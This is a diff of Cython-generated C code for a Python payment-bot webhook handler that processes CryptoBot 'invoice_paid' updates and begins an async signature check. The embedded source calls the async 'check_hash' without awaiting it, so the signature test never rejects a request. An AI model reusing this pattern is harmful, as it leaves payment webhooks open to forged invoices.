*__pyx_callargs[2] = {__pyx_t_4, __pyx_t_10}; + __pyx_t_5 = __Pyx_PyObject_FastCall(__pyx_t_6, __pyx_callargs+1-__pyx_t_7, 1+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 143, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + } + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + + /* "handlers/payments/cryprobot_pay.py":144 + * data = await request.json() + * logger.info(f" : {data}") + * if data.get("update_type") == "invoice_paid": # <<<<<<<<<<<<<< + * await process_crypto_payment(data["payload"]) + * return web.Response(status=200) + */ + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_data, __pyx_n_s_get); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 144, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_10 = NULL; + __pyx_t_7 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_6))) { + __pyx_t_10 = PyMethod_GET_SELF(__pyx_t_6); + if (likely(__pyx_t_10)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); + __Pyx_INCREF(__pyx_t_10); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_6, function); + __pyx_t_7 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_10, __pyx_n_u_update_type}; + __pyx_t_5 = __Pyx_PyObject_FastCall(__pyx_t_6, __pyx_callargs+1-__pyx_t_7, 1+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_10); __pyx_t_10 = 0; + if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 144, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + } + __pyx_t_9 = (__Pyx_PyUnicode_Equals(__pyx_t_5, __pyx_n_u_invoice_paid, Py_EQ)); if (unlikely((__pyx_t_9 < 0))) __PYX_ERR(0, 144, __pyx_L4_error) + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + if (__pyx_t_9) { + + /* "handlers/payments/cryprobot_pay.py":145 + * logger.info(f" : {data}") + * if data.get("update_type") == "invoice_paid": + * await process_crypto_payment(data["payload"]) # <<<<<<<<<<<<<< + * return web.Response(status=200) + * else: + */ + __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_process_crypto_payment); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 145, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_10 = __Pyx_PyObject_Dict_GetItem(__pyx_cur_scope->__pyx_v_data, __pyx_n_u_payload); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 145, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_10); + __pyx_t_4 = NULL; + __pyx_t_7 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_6))) { + __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_6); + if (likely(__pyx_t_4)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); + __Pyx_INCREF(__pyx_t_4); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_6, function); + __pyx_t_7 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_4, __pyx_t_10}; + __pyx_t_5 = __Pyx_PyObject_FastCall(__pyx_t_6, __pyx_callargs+1-__pyx_t_7, 1+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 145, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_5); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_t_0 = __pyx_t_1; + __Pyx_XGIVEREF(__pyx_t_2); + __pyx_cur_scope->__pyx_t_1 = __pyx_t_2; + __Pyx_XGIVEREF(__pyx_t_3); + __pyx_cur_scope->__pyx_t_2 = __pyx_t_3; + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 2; + return __pyx_r; + __pyx_L13_resume_from_await:; + __pyx_t_1 = __pyx_cur_scope->__pyx_t_0; + __pyx_cur_scope->__pyx_t_0 = 0; + __Pyx_XGOTREF(__pyx_t_1); + __pyx_t_2 = __pyx_cur_scope->__pyx_t_1; + __pyx_cur_scope->__pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_t_2); + __pyx_t_3 = __pyx_cur_scope->__pyx_t_2; + __pyx_cur_scope->__pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_t_3); + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 145, __pyx_L4_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 145, __pyx_L4_error) + } + } + + /* "handlers/payments/cryprobot_pay.py":146 + * if data.get("update_type") == "invoice_paid": + * await process_crypto_payment(data["payload"]) + * return web.Response(status=200) # <<<<<<<<<<<<<< + * else: + * logger.warning( + */ + __Pyx_XDECREF(__pyx_r); + __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_web); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 146, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_Response); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 146, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_5 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 146, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_5); + if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_status, __pyx_int_200) < 0) __PYX_ERR(0, 146, __pyx_L4_error) + __pyx_t_10 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_empty_tuple, __pyx_t_5); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 146, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_10); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_r = NULL; __Pyx_ReturnWithStopIteration(__pyx_t_10); + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + goto __pyx_L8_try_return; + + /* "handlers/payments/cryprobot_pay.py":144 + * data = await request.json() + * logger.info(f" : {data}") + * if data.get("update_type") == "invoice_paid": # <<<<<<<<<<<<<< + * await process_crypto_payment(data["payload"]) + * return web.Response(status=200) + */ + } + + /* "handlers/payments/cryprobot_pay.py":148 + * return web.Response(status=200) + * else: + * logger.warning( # <<<<<<<<<<<<<< + * f" : {data.get('update_type')}" + * ) + */ + /*else*/ { + __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_logger); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 148, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_warning); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 148, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + + /* "handlers/payments/cryprobot_pay.py":149 + * else: + * logger.warning( + * f" : {data.get('update_type')}" # <<<<<<<<<<<<<< + * ) + * return web.Response(status=400) + */ + __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_data, __pyx_n_s_get); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 149, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_4); + __pyx_t_11 = NULL; + __pyx_t_7 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_4))) { + __pyx_t_11 = PyMethod_GET_SELF(__pyx_t_4); + if (likely(__pyx_t_11)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); + __Pyx_INCREF(__pyx_t_11); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_4, function); + __pyx_t_7 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_11, __pyx_n_u_update_type}; + __pyx_t_5 = __Pyx_PyObject_FastCall(__pyx_t_4, __pyx_callargs+1-__pyx_t_7, 1+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 149, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + } + __pyx_t_4 = __Pyx_PyObject_FormatSimple(__pyx_t_5, __pyx_empty_unicode); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 149, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_5 = __Pyx_PyUnicode_Concat(__pyx_kp_u__20, __pyx_t_4); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 149, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __pyx_t_4 = NULL; + __pyx_t_7 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_6))) { + __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_6); + if (likely(__pyx_t_4)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); + __Pyx_INCREF(__pyx_t_4); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_6, function); + __pyx_t_7 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_4, __pyx_t_5}; + __pyx_t_10 = __Pyx_PyObject_FastCall(__pyx_t_6, __pyx_callargs+1-__pyx_t_7, 1+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 148, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_10); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + } + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + + /* "handlers/payments/cryprobot_pay.py":151 + * f" : {data.get('update_type')}" + * ) + * return web.Response(status=400) # <<<<<<<<<<<<<< + * except Exception as e: + * logger.error(f" : {e}") + */ + __Pyx_XDECREF(__pyx_r); + __Pyx_GetModuleGlobalName(__pyx_t_10, __pyx_n_s_web); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 151, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_10); + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_10, __pyx_n_s_Response); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 151, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + __pyx_t_10 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 151, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_10); + if (PyDict_SetItem(__pyx_t_10, __pyx_n_s_status, __pyx_int_400) < 0) __PYX_ERR(0, 151, __pyx_L4_error) + __pyx_t_5 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_empty_tuple, __pyx_t_10); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 151, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + __pyx_r = NULL; __Pyx_ReturnWithStopIteration(__pyx_t_5); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + goto __pyx_L8_try_return; + } + + /* "handlers/payments/cryprobot_pay.py":135 + * + * async def cryptobot_webhook(request): + * try: # <<<<<<<<<<<<<< + * if not check_hash(request): + * logger.warning( + */ + } + __pyx_L4_error:; + __Pyx_XDECREF(__pyx_t_10); __pyx_t_10 = 0; + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; + __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; + + /* "handlers/payments/cryprobot_pay.py":152 + * ) + * return web.Response(status=400) + * except Exception as e: # <<<<<<<<<<<<<< + * logger.error(f" : {e}") + * return web.Response(status=500) + */ + __pyx_t_12 = __Pyx_PyErr_ExceptionMatches(((PyObject *)(&((PyTypeObject*)PyExc_Exception)[0]))); + if (__pyx_t_12) { + __Pyx_AddTraceback("handlers.payments.cryprobot_pay.cryptobot_webhook", __pyx_clineno, __pyx_lineno, __pyx_filename); + if (__Pyx_GetException(&__pyx_t_5, &__pyx_t_10, &__pyx_t_6) < 0) __PYX_ERR(0, 152, __pyx_L6_except_error) + __Pyx_XGOTREF(__pyx_t_5); + __Pyx_XGOTREF(__pyx_t_10); + __Pyx_XGOTREF(__pyx_t_6); + __Pyx_INCREF(__pyx_t_10); + __Pyx_GIVEREF(__pyx_t_10); + __pyx_cur_scope->__pyx_v_e = __pyx_t_10; + /*try:*/ { + + /* "handlers/payments/cryprobot_pay.py":153 + * return web.Response(status=400) + * except Exception as e: + * logger.error(f" : {e}") # <<<<<<<<<<<<<< + * return web.Response(status=500) + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_logger); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 153, __pyx_L19_error) + __Pyx_GOTREF(__pyx_t_11); + __pyx_t_13 = __Pyx_PyObject_GetAttrStr(__pyx_t_11, __pyx_n_s_error); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 153, __pyx_L19_error) + __Pyx_GOTREF(__pyx_t_13); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __pyx_t_11 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_e, __pyx_empty_unicode); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 153, __pyx_L19_error) + __Pyx_GOTREF(__pyx_t_11); + __pyx_t_14 = __Pyx_PyUnicode_Concat(__pyx_kp_u__21, __pyx_t_11); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 153, __pyx_L19_error) + __Pyx_GOTREF(__pyx_t_14); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __pyx_t_11 = NULL; + __pyx_t_7 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_13))) { + __pyx_t_11 = PyMethod_GET_SELF(__pyx_t_13); + if (likely(__pyx_t_11)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_13); + __Pyx_INCREF(__pyx_t_11); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_13, function); + __pyx_t_7 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_11, __pyx_t_14}; + __pyx_t_4 = __Pyx_PyObject_FastCall(__pyx_t_13, __pyx_callargs+1-__pyx_t_7, 1+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; + if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 153, __pyx_L19_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + } + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + + /* "handlers/payments/cryprobot_pay.py":154 + * except Exception as e: + * logger.error(f" : {e}") + * return web.Response(status=500) # <<<<<<<<<<<<<< + * + * + */ + __Pyx_XDECREF(__pyx_r); + __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_web); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 154, __pyx_L19_error) + __Pyx_GOTREF(__pyx_t_4); + __pyx_t_13 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_Response); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 154, __pyx_L19_error) + __Pyx_GOTREF(__pyx_t_13); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __pyx_t_4 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 154, __pyx_L19_error) + __Pyx_GOTREF(__pyx_t_4); + if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_status, __pyx_int_500) < 0) __PYX_ERR(0, 154, __pyx_L19_error) + __pyx_t_14 = __Pyx_PyObject_Call(__pyx_t_13, __pyx_empty_tuple, __pyx_t_4); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 154, __pyx_L19_error) + __Pyx_GOTREF(__pyx_t_14); + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __pyx_r = NULL; __Pyx_ReturnWithStopIteration(__pyx_t_14); + __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + goto __pyx_L18_return; + } + + /* "handlers/payments/cryprobot_pay.py":152 + * ) + * return web.Response(status=400) + * except Exception as e: # <<<<<<<<<<<<<< + * logger.error(f" : {e}") + * return web.Response(status=500) + */ + /*finally:*/ { + __pyx_L19_error:; + /*exception exit:*/{ + __Pyx_PyThreadState_assign + __pyx_t_17 = 0; __pyx_t_18 = 0; __pyx_t_19 = 0; __pyx_t_20 = 0; __pyx_t_21 = 0; __pyx_t_22 = 0; + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_XDECREF(__pyx_t_13); __pyx_t_13 = 0; + __Pyx_XDECREF(__pyx_t_14); __pyx_t_14 = 0; + __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; + if (PY_MAJOR_VERSION >= 3) __Pyx_ExceptionSwap(&__pyx_t_20, &__pyx_t_21, &__pyx_t_22); + if ((PY_MAJOR_VERSION < 3) || unlikely(__Pyx_GetException(&__pyx_t_17, &__pyx_t_18, &__pyx_t_19) < 0)) __Pyx_ErrFetch(&__pyx_t_17, &__pyx_t_18, &__pyx_t_19); + __Pyx_XGOTREF(__pyx_t_17); + __Pyx_XGOTREF(__pyx_t_18); + __Pyx_XGOTREF(__pyx_t_19); + __Pyx_XGOTREF(__pyx_t_20); + __Pyx_XGOTREF(__pyx_t_21); + __Pyx_XGOTREF(__pyx_t_22); + __pyx_t_12 = __pyx_lineno; __pyx_t_15 = __pyx_clineno; __pyx_t_16 = __pyx_filename; + { + __Pyx_GOTREF(__pyx_cur_scope->__pyx_v_e); + __Pyx_DECREF(__pyx_cur_scope->__pyx_v_e); __pyx_cur_scope->__pyx_v_e = 0; + } + if (PY_MAJOR_VERSION >= 3) { + __Pyx_XGIVEREF(__pyx_t_20); + __Pyx_XGIVEREF(__pyx_t_21); + __Pyx_XGIVEREF(__pyx_t_22); + __Pyx_ExceptionReset(__pyx_t_20, __pyx_t_21, __pyx_t_22); + } + __Pyx_XGIVEREF(__pyx_t_17); + __Pyx_XGIVEREF(__pyx_t_18); + __Pyx_XGIVEREF(__pyx_t_19); + __Pyx_ErrRestore(__pyx_t_17, __pyx_t_18, __pyx_t_19); + __pyx_t_17 = 0; __pyx_t_18 = 0; __pyx_t_19 = 0; __pyx_t_20 = 0; __pyx_t_21 = 0; __pyx_t_22 = 0; + __pyx_lineno = __pyx_t_12; __pyx_clineno = __pyx_t_15; __pyx_filename = __pyx_t_16; + goto __pyx_L6_except_error; + } + __pyx_L18_return: { + __Pyx_PyThreadState_assign + __pyx_t_22 = 0; __pyx_t_21 = 0; __pyx_t_20 = 0; __pyx_t_19 = 0; __pyx_t_18 = 0; __pyx_t_17 = 0; + if (PY_MAJOR_VERSION >= 3) __Pyx_ExceptionSwap(&__pyx_t_19, &__pyx_t_18, &__pyx_t_17); + if ((PY_MAJOR_VERSION < 3) || unlikely(__Pyx_GetException(&__pyx_t_22, &__pyx_t_21, &__pyx_t_20) < 0)) __Pyx_ErrFetch(&__pyx_t_22, &__pyx_t_21, &__pyx_t_20); + __Pyx_XGOTREF(__pyx_t_22); + __Pyx_XGOTREF(__pyx_t_21); + __Pyx_XGOTREF(__pyx_t_20); + __Pyx_XGOTREF(__pyx_t_19); + __Pyx_XGOTREF(__pyx_t_18); + __Pyx_XGOTREF(__pyx_t_17); + __pyx_t_23 = __pyx_r; + __pyx_r = 0; + __Pyx_GOTREF(__pyx_cur_scope->__pyx_v_e); + __Pyx_DECREF(__pyx_cur_scope->__pyx_v_e); __pyx_cur_scope->__pyx_v_e = 0; + __pyx_r = __pyx_t_23; + __pyx_t_23 = 0; + if (PY_MAJOR_VERSION >= 3) { + __Pyx_XGIVEREF(__pyx_t_19); + __Pyx_XGIVEREF(__pyx_t_18); + __Pyx_XGIVEREF(__pyx_t_17); + __Pyx_ExceptionReset(__pyx_t_19, __pyx_t_18, __pyx_t_17); + } + __Pyx_XGIVEREF(__pyx_t_22); + __Pyx_XGIVEREF(__pyx_t_21); + __Pyx_XGIVEREF(__pyx_t_20); + __Pyx_ErrRestore(__pyx_t_22, __pyx_t_21, __pyx_t_20); + __pyx_t_22 = 0; __pyx_t_21 = 0; __pyx_t_20 = 0; __pyx_t_19 = 0; __pyx_t_18 = 0; __pyx_t_17 = 0; + goto __pyx_L7_except_return; + } + } + } + goto __pyx_L6_except_error; + + /* "handlers/payments/cryprobot_pay.py":135 + * + * async def cryptobot_webhook(request): + * try: # <<<<<<<<<<<<<< + * if not check_hash(request): + * logger.warning( + */ + __pyx_L6_except_error:; + __Pyx_XGIVEREF(__pyx_t_1); + __Pyx_XGIVEREF(__pyx_t_2); + __Pyx_XGIVEREF(__pyx_t_3); + __Pyx_ExceptionReset(__pyx_t_1, __pyx_t_2, __pyx_t_3); + goto __pyx_L1_error; + __pyx_L8_try_return:; + __Pyx_XGIVEREF(__pyx_t_1); + __Pyx_XGIVEREF(__pyx_t_2); + __Pyx_XGIVEREF(__pyx_t_3); + __Pyx_ExceptionReset(__pyx_t_1, __pyx_t_2, __pyx_t_3); + goto __pyx_L0; + __pyx_L7_except_return:; + __Pyx_XGIVEREF(__pyx_t_1); + __Pyx_XGIVEREF(__pyx_t_2); + __Pyx_XGIVEREF(__pyx_t_3); + __Pyx_ExceptionReset(__pyx_t_1, __pyx_t_2, __pyx_t_3); + goto __pyx_L0; + } + CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); + + /* "handlers/payments/cryprobot_pay.py":134 + * + * + * async def cryptobot_webhook(request): # <<<<<<<<<<<<<< + * try: + * if not check_hash(request): + */ + + /* function exit code */ + __pyx_L1_error:; + __Pyx_Generator_Replace_StopIteration(0); + __Pyx_XDECREF(__pyx_t_4); + __Pyx_XDECREF(__pyx_t_5); + __Pyx_XDECREF(__pyx_t_6); + __Pyx_XDECREF(__pyx_t_10); + __Pyx_XDECREF(__pyx_t_11); + __Pyx_XDECREF(__pyx_t_13); + __Pyx_XDECREF(__pyx_t_14); + __Pyx_AddTraceback("cryptobot_webhook", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_L0:; + __Pyx_XDECREF(__pyx_r); __pyx_r = 0; + #if !CYTHON_USE_EXC_INFO_STACK + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + #endif + __pyx_generator->resume_label = -1; + __Pyx_Coroutine_clear((PyObject*)__pyx_generator); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} +static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_11generator3(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value); /* proto */ + +/* "handlers/payments/cryprobot_pay.py":157 + * + * + * async def check_hash(request): # <<<<<<<<<<<<<< + * body_text = await request.text() + * crypto_pay_signature = request.headers.get( + */ + +/* Python wrapper */ +static PyObject *__pyx_pw_8handlers_8payments_13cryprobot_pay_10check_hash(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +); /*proto*/ +static PyMethodDef __pyx_mdef_8handlers_8payments_13cryprobot_pay_10check_hash = {"check_hash", (PyCFunction)(void*)(__Pyx_PyCFunction_FastCallWithKeywords)__pyx_pw_8handlers_8payments_13cryprobot_pay_10check_hash, __Pyx_METH_FASTCALL|METH_KEYWORDS, 0}; +static PyObject *__pyx_pw_8handlers_8payments_13cryprobot_pay_10check_hash(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +) { + PyObject *__pyx_v_request = 0; + #if !CYTHON_METH_FASTCALL + CYTHON_UNUSED Py_ssize_t __pyx_nargs; + #endif + CYTHON_UNUSED PyObject *const *__pyx_kwvalues; + PyObject* values[1] = {0}; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + PyObject *__pyx_r = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("check_hash (wrapper)", 0); + #if !CYTHON_METH_FASTCALL + #if CYTHON_ASSUME_SAFE_MACROS + __pyx_nargs = PyTuple_GET_SIZE(__pyx_args); + #else + __pyx_nargs = PyTuple_Size(__pyx_args); if (unlikely(__pyx_nargs < 0)) return NULL; + #endif + #endif + __pyx_kwvalues = __Pyx_KwValues_FASTCALL(__pyx_args, __pyx_nargs); + { + PyObject **__pyx_pyargnames[] = {&__pyx_n_s_request,0}; + if (__pyx_kwds) { + Py_ssize_t kw_args; + switch (__pyx_nargs) { + case 1: values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + CYTHON_FALLTHROUGH; + case 0: break; + default: goto __pyx_L5_argtuple_error; + } + kw_args = __Pyx_NumKwargs_FASTCALL(__pyx_kwds); + switch (__pyx_nargs) { + case 0: + if (likely((values[0] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_request)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[0]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 157, __pyx_L3_error) + else goto __pyx_L5_argtuple_error; + } + if (unlikely(kw_args > 0)) { + const Py_ssize_t kwd_pos_args = __pyx_nargs; + if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "check_hash") < 0)) __PYX_ERR(0, 157, __pyx_L3_error) + } + } else if (unlikely(__pyx_nargs != 1)) { + goto __pyx_L5_argtuple_error; + } else { + values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + } + __pyx_v_request = values[0]; + } + goto __pyx_L6_skip; + __pyx_L5_argtuple_error:; + __Pyx_RaiseArgtupleInvalid("check_hash", 1, 1, 1, __pyx_nargs); __PYX_ERR(0, 157, __pyx_L3_error) + __pyx_L6_skip:; + goto __pyx_L4_argument_unpacking_done; + __pyx_L3_error:; + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_AddTraceback("handlers.payments.cryprobot_pay.check_hash", __pyx_clineno, __pyx_lineno, __pyx_filename); + __Pyx_RefNannyFinishContext(); + return NULL; + __pyx_L4_argument_unpacking_done:; + __pyx_r = __pyx_pf_8handlers_8payments_13cryprobot_pay_9check_hash(__pyx_self, __pyx_v_request); + + /* function exit code */ + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_pf_8handlers_8payments_13cryprobot_pay_9check_hash(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_request) { + struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash 